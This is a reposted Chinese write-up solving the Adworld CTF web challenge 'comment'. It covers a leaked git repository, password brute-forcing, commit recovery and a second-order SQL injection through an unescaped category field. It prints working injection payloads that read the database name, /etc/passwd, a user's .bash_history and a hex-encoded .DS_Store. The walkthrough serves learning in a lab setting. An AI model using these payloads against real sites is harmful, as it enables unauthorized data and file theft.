0


攻防世界-WEB-comment

攻防世界-WEB-comment

没想到短短几天浏览就破千了,在这里向各位表示衷心的感谢

在这里插入图片描述

老样子,先做爆破
在这里插入图片描述

上githack

在这里插入图片描述

里面有一个write_do.php

<?phpinclude"mysql.php";session_start();if($_SESSION['login']!='yes'){header("Location: ./login.php");die();}if(isset($_GET['do'])){switch($_GET['do']){case'write':break;case'comment':break;default:header("Location: ./index.php");}}else{header("Location: ./index.php");}?>

emmmm

不难看出,当mysql.php和login.php放一起时,存在sql注入的概率还是很大的

在这里插入图片描述

尝试

好的,失败

在这里插入图片描述

重新分析一下

尝试进行用户名和密码爆破

但是也毫无结果

我们试试他给的用户名

在这里插入图片描述

这里可以看出

用户名是zhangwei,密码是zhangwei***

也就是说,***可能需要我们进行爆破
在这里插入图片描述
试试

在这里插入图片描述

成功

接下来我们尝试注入

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

完全没有注入点啊。。。。。。。。

好好好

我们f12看看数据包有没有什么惊喜吧。。。。。

屁都没得。。。。。

自暴自弃的乱翻。。。。。。

在这里插入图片描述

我。。。。。

好好好,commit丢失,那么我们需要做修复

修复方法

  1. 使用git reflog命令:git reflog命令可以显示仓库中的引用日志,包括被删除的提交# 查看引用日志git reflog# 恢复到指定提交git reset --hard <commit>
  2. 使用git fsck命令:git fsck命令可以检查并修复对象数据库中的问题# 检查并修复对象数据库gitfsck --full --no-dangling
  3. 使用其他Git工具或服务:比如git reflog和git reset命令来移动分支指针,或者使用Git服务提供商(如GitHub、GitLab等)的恢复功能。

在kali打开

在这里插入图片描述

然后做修复
在这里插入图片描述

接下来是被修复的php

<?phpinclude"mysql.php";session_start();if($_SESSION['login']!='yes'){//检查会话中的$_SESSION['login']变量是否等于字符串'yes'。如果不是,将用户重定向到"./login.php"页面,并终止脚本的执行。header("Location: ./login.php");die();}if(isset($_GET['do'])){switch($_GET['do']){case'write':$category=addslashes($_POST['category']);//从$_POST变量中获取'category'、'title'和'content'的值,并使用addslashes()函数对它们进行转义,以防止SQL注入攻击。$title=addslashes($_POST['title']);$content=addslashes($_POST['content']);$sql="insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";$result=mysql_query($sql);//构建一个INSERT INTO语句,将转义后的值插入名为'board'的数据库表中header("Location: ./index.php");break;case'comment':$bo_id=addslashes($_POST['bo_id']);$sql="select category from board where id='$bo_id'";$result=mysql_query($sql);$num=mysql_num_rows($result);if($num>0){//以下是当行数>0时执行的操作$category=mysql_fetch_array($result)['category'];//从结果集中获取'category'字段的值,并将其存储在$category变量中。$content=addslashes($_POST['content']);$sql="insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";//构建一个SELECT语句,从名为'board'的数据库表中检索'category'字段的值,其中'id'等于转义后的'bo_id'。$result=mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");//如果行数大于0,将用户重定向到"./comment.php?id=$bo_id"页面。break;default:header("Location: ./index.php");}}else{header("Location: ./index.php");}?>

好的,整理一下

‘write’操作将用户通过POST方法提交的数据插入到名为’board’的数据库表中,而’comment’操作将用户通过POST方法提交的评论数据插入到名为’comment’的数据库表中。如果GET参数不是’write’或’comment’,则用户将被重定向到"./index.php"页面。

这里很有意思的一处就是

在write中,他对所有传入的值做了转义

而在comment中并未对category做转义,我们完全可以利用这一点进行注入

首先,我们摸清楚原理

insertinto board
            set category ='$category',
                title ='$title',
                content ='$content';

当传入的值存在‘ “ \ 以及NULL字符时,addslashes会在字符前加反斜杠。

所以在我们发帖的时候,并不能成功注入

而在comment中,由于他并未对category使用这个函数,原因可能是在comment.php中,我们并不能直接使用category。

我们看这一句

$sql="select category from board where id='$bo_id'";

在comment中抓个包
在这里插入图片描述

所以sql就变成了

insert into comment
            set category ='123',
                title ='1',
                content ='1';
                bo_id ='1';

那么,当我们在发帖时这么构建
在这里插入图片描述

insert into board
            set category ='1',content=database()/*',
                title = '222',
                content = '231241243112234124123441423';

然后我们在comment中这么输入

insert into comment
            set category ='1',content=database()/*',
                content = '*/#';
                bo_id ='1'";

那么sql会将category和content的内容看成’1’,content=database()/**/#

从而执行这条语句
在这里插入图片描述

ctf为数据库名称

接下来我们查看用户是什么
在这里插入图片描述

权限之高实属难得

我们可以查看一些比较敏感的目录,比如说/etc/passwd /etc/shadow等等等等

在这里的话查看shadow没什么意义,所以我们直接查看/etc/passwd
在这里插入图片描述

在这里插入图片描述

这里涉及内网渗透的知识

可以发现,除root外,只有www使用bash
bash是Unix以及类Unix的解释器,用于执行命令,编写shell脚本等等

也就是说,我们可以通过查看www的历史记录以获取一些关键信息,这里我们需要知道的是flag在哪里

一般来说,bash的历史记录保存在home/用户/.bash_history中

1',content=(select(load_file("/home/www/.bash_history"))),/*

在这里插入图片描述在这里插入图片描述

这里删了 .DS_Store文件,那估摸这里面有玄机

我们去/tmp/html里面找找DS_Store
在这里插入图片描述
在这里插入图片描述

没读全啊。。。。。。可能是内容太多了

我们试试加密读取

111',content=(select hex((load_file(""/tmp/html/.DS_Store")))),/*

在这里插入图片描述

在这里插入图片描述

应该是flag了

读取

在这里插入图片描述

在这里插入图片描述成功

感谢各位师傅们的支持,能够和师傅们共同成长是我的荣幸
求赞求关注
谢谢!!!

标签: 前端 网络安全 sql

本文转载自: https://blog.csdn.net/m0_52061428/article/details/135894706
版权归原作者 MQ4 所有, 如有侵权,请联系我们删除。

“攻防世界-WEB-comment”的评论:

还没有评论